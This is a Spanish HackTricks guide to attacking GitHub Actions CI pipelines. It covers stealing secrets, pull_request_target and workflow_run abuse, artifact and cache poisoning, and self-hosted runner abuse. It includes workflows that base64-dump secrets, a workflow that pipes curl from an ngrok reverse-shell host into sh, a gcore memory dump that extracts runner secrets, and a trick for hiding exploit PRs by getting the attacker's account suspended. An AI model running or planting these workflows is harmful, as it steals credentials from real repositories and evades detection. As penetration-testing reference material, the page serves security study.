Abusing Github Actions

Aprende hacking en AWS de cero a héroe con htARTE (Experto en Red de HackTricks AWS)!

Otras formas de apoyar a HackTricks:

Información Básica

En esta página encontrarás:

  • Un resumen de todos los impactos de un atacante que logra acceder a una Acción de Github.

  • Diferentes formas de obtener acceso a una acción:

    • Teniendo permisos para crear la acción.

    • Abusando de los desencadenantes relacionados con pull request.

    • Abusando de otras técnicas de acceso externo.

    • Pivotando desde un repositorio que ya ha sido comprometido.

  • Finalmente, una sección sobre técnicas de post-explotación para abusar de una acción desde adentro (causar los impactos mencionados).

Resumen de Impactos

Para una introducción sobre Acciones de Github, revisa la información básica.

En caso de que puedas ejecutar acciones de Github arbitrarias/inyectar código en un repositorio, podrías ser capaz de:

  • Robar los secretos de ese repositorio/organización.

  • Si solo puedes inyectar, puedes robar lo que ya está presente en el flujo de trabajo.

  • Abusar de los privilegios del repositorio para acceder a otras plataformas como AWS y GCP.

  • Ejecutar código en trabajadores personalizados (si se utilizan trabajadores personalizados) e intentar pivotar desde allí.

  • Sobrescribir el código del repositorio.

  • Esto depende de los privilegios del GITHUB_TOKEN (si los hay).

  • Comprometer implementaciones y otros artefactos.

  • Si el código está implementando o almacenando algo, podrías modificar eso y obtener un mayor acceso.

GITHUB_TOKEN

Este "secreto" (proveniente de ${{ secrets.GITHUB_TOKEN }} y ${{ github.token }}) se otorga cuando el administrador habilita esta opción:

Este token es el mismo que utilizará una Aplicación de Github, por lo que puede acceder a los mismos puntos finales: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github debería lanzar un flujo que permita el acceso entre repositorios dentro de GitHub, para que un repositorio pueda acceder a otros repositorios internos utilizando el GITHUB_TOKEN.

Puedes ver los posibles permisos de este token en: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Ten en cuenta que el token caduca después de que se haya completado el trabajo. Estos tokens se ven así: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Algunas cosas interesantes que puedes hacer con este token:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

Ten en cuenta que en varias ocasiones podrás encontrar tokens de usuario de Github dentro de las variables de entorno de las Acciones de Github o en los secretos. Estos tokens pueden darte más privilegios sobre el repositorio y la organización.

Lista de secretos en la salida de la Acción de Github

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Obtener una shell inversa con secretos

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Es posible verificar los permisos otorgados a un Token de Github en los repositorios de otros usuarios verificando los registros de las acciones:

Ejecución Permitida

Esta sería la forma más fácil de comprometer las acciones de Github, ya que en este caso se supone que tienes acceso para crear un nuevo repositorio en la organización, o tienes privilegios de escritura sobre un repositorio.

Si te encuentras en este escenario, simplemente puedes verificar las técnicas de Post Explotación.

Ejecución desde la Creación de un Repositorio

En caso de que los miembros de una organización puedan crear nuevos repositorios y puedas ejecutar acciones de Github, puedes crear un nuevo repositorio y robar los secretos establecidos a nivel de organización.

Ejecución desde una Nueva Rama

Si puedes crear una nueva rama en un repositorio que ya contiene una Acción de Github configurada, puedes modificarla, subir el contenido y luego ejecutar esa acción desde la nueva rama. De esta manera puedes exfiltrar secretos a nivel de repositorio y organización (pero necesitas saber cómo se llaman).

Puedes hacer que la acción modificada sea ejecutable manualmente, cuando se crea un PR o cuando se envía algún código (dependiendo de cuán ruidoso quieras ser):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Ejecución bifurcada

Existen diferentes disparadores que podrían permitir a un atacante ejecutar una Acción de Github de otro repositorio. Si esas acciones desencadenantes están mal configuradas, un atacante podría comprometerlas.

pull_request

El disparador de flujo de trabajo pull_request ejecutará el flujo de trabajo cada vez que se reciba una solicitud de extracción con algunas excepciones: por defecto, si es la primera vez que estás colaborando, algún mantenedor deberá aprobar la ejecución del flujo de trabajo:

Dado que la limitación predeterminada es para colaboradores por primera vez, podrías contribuir corrigiendo un error/tipo válido y luego enviar otras PRs para abusar de tus nuevos privilegios de pull_request.

Probé esto y no funciona: Otra opción sería crear una cuenta con el nombre de alguien que contribuyó al proyecto y eliminó su cuenta.

Además, por defecto evita permisos de escritura y acceso a secretos al repositorio de destino como se menciona en la documentación:

Con la excepción de GITHUB_TOKEN, los secretos no se pasan al runner cuando se desencadena un flujo de trabajo desde un repositorio bifurcado. El GITHUB_TOKEN tiene permisos de solo lectura en solicitudes de extracción desde repositorios bifurcados.

Un atacante podría modificar la definición de la Acción de Github para ejecutar cosas arbitrarias y agregar acciones arbitrarias. Sin embargo, no podrá robar secretos o sobrescribir el repositorio debido a las limitaciones mencionadas.

Sí, si el atacante cambia en la PR la acción de Github que se desencadenará, su Acción de Github será la utilizada y no la del repositorio de origen.

Dado que el atacante también controla el código que se ejecuta, incluso si no hay secretos o permisos de escritura en el GITHUB_TOKEN, un atacante podría, por ejemplo, cargar artefactos maliciosos.

pull_request_target

El disparador de flujo de trabajo pull_request_target tiene permisos de escritura en el repositorio de destino y acceso a secretos (y no solicita permiso).

Ten en cuenta que el disparador de flujo de trabajo pull_request_target se ejecuta en el contexto base y no en el proporcionado por la PR (para no ejecutar código no confiable). Para obtener más información sobre pull_request_target consulta la documentación. Además, para obtener más información sobre este uso específico peligroso, consulta este post del blog de Github.

Puede parecer que debido a que el flujo de trabajo ejecutado es el definido en el base y no en la PR, es seguro usar pull_request_target, pero hay algunos casos en los que no lo es.

Y este tendrá acceso a secretos.

workflow_run

El disparador workflow_run permite ejecutar un flujo de trabajo desde otro cuando está completado, solicitado o en_progreso.

En este ejemplo, un flujo de trabajo está configurado para ejecutarse después de que el flujo de trabajo separado "Ejecutar pruebas" se complete:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Además, según la documentación: El flujo de trabajo iniciado por el evento workflow_run es capaz de acceder a secretos y escribir tokens, incluso si el flujo de trabajo anterior no lo hizo.

Este tipo de flujo de trabajo podría ser atacado si está dependiendo de un flujo de trabajo que puede ser activado por un usuario externo a través de pull_request o pull_request_target. Un par de ejemplos vulnerables se pueden encontrar en este blog. El primero consiste en el flujo de trabajo desencadenado por workflow_run descargando el código de los atacantes: ${{ github.event.pull_request.head.sha }} El segundo consiste en pasar un artefacto desde el código no confiable al flujo de trabajo de workflow_run y usar el contenido de este artefacto de una manera que lo haga vulnerable a RCE.

workflow_call

TODO

TODO: Verificar si al ejecutarse desde un pull_request el código utilizado/descargado es el original o el del PR bifurcado

Abuso de Ejecución Bifurcada

Hemos mencionado todas las formas en que un atacante externo podría lograr que un flujo de trabajo de GitHub se ejecute, ahora veamos cómo estas ejecuciones, si están mal configuradas, podrían ser abusadas:

Ejecución de checkout no confiable

En el caso de pull_request, el flujo de trabajo se ejecutará en el contexto del PR (por lo que ejecutará el código malicioso de los PR), pero alguien necesita autorizarlo primero y se ejecutará con algunas limitaciones.

En el caso de un flujo de trabajo que utiliza pull_request_target o workflow_run que depende de un flujo de trabajo que puede ser desencadenado desde pull_request_target o pull_request el código del repositorio original se ejecutará, por lo que el atacante no puede controlar el código ejecutado.

Sin embargo, si la acción tiene un checkout explícito del PR que obtendrá el código del PR (y no de la base), usará el código controlado por los atacantes. Por ejemplo (ver línea 12 donde se descarga el código del PR):

# INSEGURO. Proporcionado solo como ejemplo.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

El código potencialmente no confiable se ejecuta durante npm install o npm build ya que los scripts de compilación y los paquetes referenciados son controlados por el autor del PR.

Un dork de GitHub para buscar acciones vulnerables es: event.pull_request pull_request_target extension:yml sin embargo, hay diferentes formas de configurar los trabajos para que se ejecuten de forma segura incluso si la acción está configurada de forma insegura (como usar condicionales sobre quién es el actor que genera el PR).

Inyecciones de Script de Contexto

Tenga en cuenta que hay ciertos contextos de GitHub cuyos valores son controlados por el usuario que crea el PR. Si la acción de GitHub está utilizando esos datos para ejecutar algo, podría llevar a una ejecución de código arbitrario:

pageGh Actions - Context Script Injections

Inyección de Script GITHUB_ENV

Según la documentación: Puede hacer que una variable de entorno esté disponible para los pasos siguientes en un trabajo de flujo de trabajo definiendo o actualizando la variable de entorno y escribiéndola en el archivo de entorno GITHUB_ENV.

Si un atacante pudiera inyectar cualquier valor dentro de esta variable de entorno, podría inyectar variables de entorno que podrían ejecutar código en los pasos siguientes, como LD_PRELOAD o NODE_OPTIONS.

Por ejemplo (este y este), imagine un flujo de trabajo que confía en un artefacto cargado para almacenar su contenido dentro de la variable de entorno GITHUB_ENV. Un atacante podría cargar algo como esto para comprometerlo:

Acciones de GitHub de Terceros Vulnerables

Como se menciona en esta publicación de blog, esta Acción de GitHub permite acceder a artefactos de diferentes flujos de trabajo e incluso repositorios.

El problema es que si el parámetro path no está configurado, el artefacto se extrae en el directorio actual y puede sobrescribir archivos que podrían ser utilizados más tarde o incluso ejecutados en el flujo de trabajo. Por lo tanto, si el Artefacto es vulnerable, un atacante podría abusar de esto para comprometer otros flujos de trabajo que confían en el Artefacto.

Ejemplo de flujo de trabajo vulnerable:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Esto podría ser atacado con este flujo de trabajo:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Otro Acceso Externo

Secuestro de Repositorio de Espacio de Nombres Eliminado

Si una cuenta cambia su nombre, otro usuario podría registrar una cuenta con ese nombre después de algún tiempo. Si un repositorio tenía menos de 100 estrellas antes del cambio de nombre, Github permitirá al nuevo usuario registrado con el mismo nombre crear un repositorio con el mismo nombre que el eliminado.

Por lo tanto, si una acción está utilizando un repositorio de una cuenta que ya no existe, todavía es posible que un atacante pueda crear esa cuenta y comprometer la acción.

Si otros repositorios estaban utilizando dependencias de estos repositorios de usuario, un atacante podrá secuestrarlos. Aquí tienes una explicación más completa: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Pivoteo de Repositorio

En esta sección hablaremos sobre técnicas que permitirían pivoteo de un repositorio a otro suponiendo que tenemos algún tipo de acceso en el primero (ver la sección anterior).

Envenenamiento de Caché

Una caché se mantiene entre ejecuciones de flujo de trabajo en la misma rama. Esto significa que si un atacante compromete un paquete que luego se almacena en la caché y es descargado y ejecutado por un flujo de trabajo más privilegiado, podrá comprometer también ese flujo de trabajo.

pageGH Actions - Cache Poisoning

Envenenamiento de Artefactos

Los flujos de trabajo podrían usar artefactos de otros flujos de trabajo e incluso repositorios, si un atacante logra comprometer la Acción de Github que sube un artefacto que luego es utilizado por otro flujo de trabajo, podría comprometer los otros flujos de trabajo:

pageGh Actions - Artifact Poisoning

Post Explotación desde una Acción

Accediendo a AWS y GCP a través de OIDC

Consulta las siguientes páginas:

pageAWS - Federation AbusepageGCP - Federation Abuse

Accediendo a secretos

Si estás inyectando contenido en un script, es interesante saber cómo puedes acceder a secretos:

  • Si el secreto o token está configurado como una variable de entorno, se puede acceder directamente a través del entorno utilizando printenv.

Listar secretos en la salida de Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Obtener una shell inversa con secretos</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Si el secreto se utiliza directamente en una expresión, el script de shell generado se almacena en disco y es accesible.

cat /home/runner/work/_temp/*

* Para acciones en JavaScript, los secretos se envían a través de variables de entorno
* ```bash
ps axe | grep node
  • Para una acción personalizada, el riesgo puede variar dependiendo de cómo un programa está utilizando el secreto obtenido del argumento:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Abusando de los runners autohospedados

La forma de encontrar qué Acciones de Github se están ejecutando en infraestructura no relacionada con Github es buscar runs-on: self-hosted en la configuración yaml de la Acción de Github.

Los runners autohospedados podrían tener acceso a información extra sensible, a otros sistemas de red (¿puntos finales vulnerables en la red? ¿servicio de metadatos?) o, incluso si está aislado y destruido, más de una acción podría ejecutarse al mismo tiempo y la maliciosa podría robar los secretos de la otra.

En los runners autohospedados también es posible obtener los secretos del proceso _Runner.Listener que contendrá todos los secretos de los flujos de trabajo en cualquier paso al volcar su memoria:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Consulta este artículo para obtener más información.

Registro de Imágenes Docker de Github

Es posible crear acciones de Github que construyan y almacenen una imagen Docker dentro de Github. Un ejemplo se puede encontrar en el siguiente desplegable:

Acción de Github para Construir y Subir una Imagen Docker

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Como pudiste ver en el código anterior, el registro de Github está alojado en **`ghcr.io`**.

Un usuario con permisos de lectura sobre el repositorio podrá descargar la imagen de Docker utilizando un token de acceso personal:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Entonces, el usuario podría buscar secretos filtrados en las capas de imágenes de Docker:

Información sensible en los registros de Github Actions

Incluso si Github intenta detectar valores secretos en los registros de las acciones y evitar mostrarlos, otros datos sensibles que podrían haber sido generados en la ejecución de la acción no se ocultarán. Por ejemplo, un JWT firmado con un valor secreto no se ocultará a menos que esté configurado específicamente.

Cubriendo tus Huellas

(Técnica de aquí) En primer lugar, cualquier PR creada es claramente visible para el público en Github y para la cuenta de GitHub objetivo. En GitHub, por defecto, no podemos eliminar un PR de internet, pero hay un truco. Para las cuentas de Github que son suspendidas por Github, todos sus PRs son eliminados automáticamente y eliminados de internet. Por lo tanto, para ocultar tu actividad necesitas que tu cuenta de GitHub sea suspendida o marcada. Esto ocultaría todas tus actividades en GitHub de internet (básicamente eliminaría todos tus PR de explotación)

Una organización en GitHub es muy proactiva en reportar cuentas a GitHub. Todo lo que necesitas hacer es compartir "algo" en un Issue y se asegurarán de que tu cuenta sea suspendida en 12 horas :p y ahí lo tienes, has hecho tu explotación invisible en github.

La única forma para que una organización se dé cuenta de que ha sido objetivo es revisar los registros de GitHub desde SIEM, ya que desde la interfaz de GitHub el PR sería eliminado.

Herramientas

Las siguientes herramientas son útiles para encontrar flujos de trabajo de Github Actions e incluso encontrar vulnerabilidades:

Última actualización